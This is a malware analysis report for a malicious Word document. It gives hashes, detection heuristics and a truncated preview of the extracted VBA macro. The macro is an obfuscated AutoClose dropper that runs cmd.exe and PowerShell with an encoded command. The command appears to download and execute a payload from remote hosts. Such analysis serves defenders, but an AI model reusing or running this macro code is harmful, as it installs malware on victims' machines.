Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 708b7f4e6c4eaaf4…

MALICIOUS

Office (OLE)

73.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 4d23f94ccff28bac3fc65d4496b63c51 SHA-1: 23509c8efa038dd10f487428f7d0de15f89a9587 SHA-256: 708b7f4e6c4eaaf440953b96a9616a58802310723bfff91d5117bfd933427cb1
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6731394-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6731394-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8444 bytes
SHA-256: 25fa5a51c314fdc0a5e35dc87153e38191fb04f39062daf6ac1a880107d9b4a7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const XuGaQOlYSykqAtiSOToMyqYsIjy = 0
Sub AutoClose()
On Error Resume Next
zuByfAtYQEWwUPaayFuWL = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^v^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^Z^Q^B^s^A^G^w^A^b^w^B^u^A^G^k^A^" + Format(ChrW(99)) + "^w^B^0^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"

fKyWYPOziDyQYKYpUKEWyv = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^z^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^G^Y^A^M^A^B^k^A^G^Q^A^N^Q^B^h^A^D^E^A^Y^Q^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^B^m^A^D^A^A^Z^A^B^k^A^D^U^A^Y^Q^A^x^A^G^E^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"
Dim FyBymYVaZuaIzWAxPyvhavEriBIGOFu

FyBymYVaZuaIzWAxPyvhavEriBIGOFu = IsNull(Choose(3, "valEnyvYCecIbyKe", "FyBymYVaZuaIzWAxPyvhavEriBIGOFu", "valEnyvYCecIbyKeFyBymYVaZuaIzWAxPyvhavEriBIGOFu"))
IsError CVErr(9388)

If 9388 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(valEnyvYCecIbyKe))))
End If
Dim RasaHeVYTIJArESePexATeiYJoxypIFUaaGNID

RasaHeVYTIJArESePexATeiYJoxypIFUaaGNID = IsNull(Choose(6, "KyWAjAEiOjIhamadYvOba", "RasaHeVYTIJArESePexATeiYJoxypIFUaaGNID", "KyWAjAEiOjIhamadYvObaRasaHeVYTIJArESePexATeiYJoxypIFUaaGNID"))
IsError CVErr(3209)

If 3209 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(KyWAjAEiOjIhamadYvOba))))
End If


PupadUVUSOxoHOWutOWODIgaGyQEwEauKytO = "^k^A^R^Q^B^Y^A^C^g^A^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^U^w^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^I^A^a^Q^B^u^A^G^" + Format(ChrW(99)) + "^A^K^A^A^i^A^G^g^A^d^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^O^g^A^v^A^C^8^A^N^Q^A^0^A^C^4^A^M^w^A^5^A^C^4^A^N^w^A^0^A^C^4^A^M^Q^A^y^A^D^Q^A^L^w^B^s^A^G^U^A^d^g^B^v^A^G^4^A^Z^A^A^u^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^a^A^B^w^A^C^I^A^K^Q^A^p^A^D^s^A^I^A^B^F^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^a^Q^B^0^A"

Dim KYsgOPALEmYMobYsHVUOMiwoGuHIho

KYsgOPALEmYMobYsHVUOMiwoGuHIho = IsNull(Choose(8, "lykiNiOtigOnAv", "KYsgOPALEmYMobYsHVUOMiwoGuHIho", "lykiNiOtigOnAvKYsgOPALEmYMobYsHVUOMiwoGuHIho"))
IsError CVErr(605)

If 605 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(lykiNiOtigOnAv))))
End If
Dim saROHUBUheEWolCdINIfITidAJo

saROHUBUheEWolCdINIfITidAJo = IsNull(Choose(8, "moFIVybydTAViKYWiHEpaLe", "saROHUBUheEWolCdINIfITidAJo", "moFIVybydTAViKYWiHEpaLesaROHUBUheEWolCdINIfITidAJo"))
IsError CVErr(4980)

If 4980 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(moFIVybydTAViKYWiHEpaLe))))
End If

FYsetaHofdYSUSixuXag
... (truncated)

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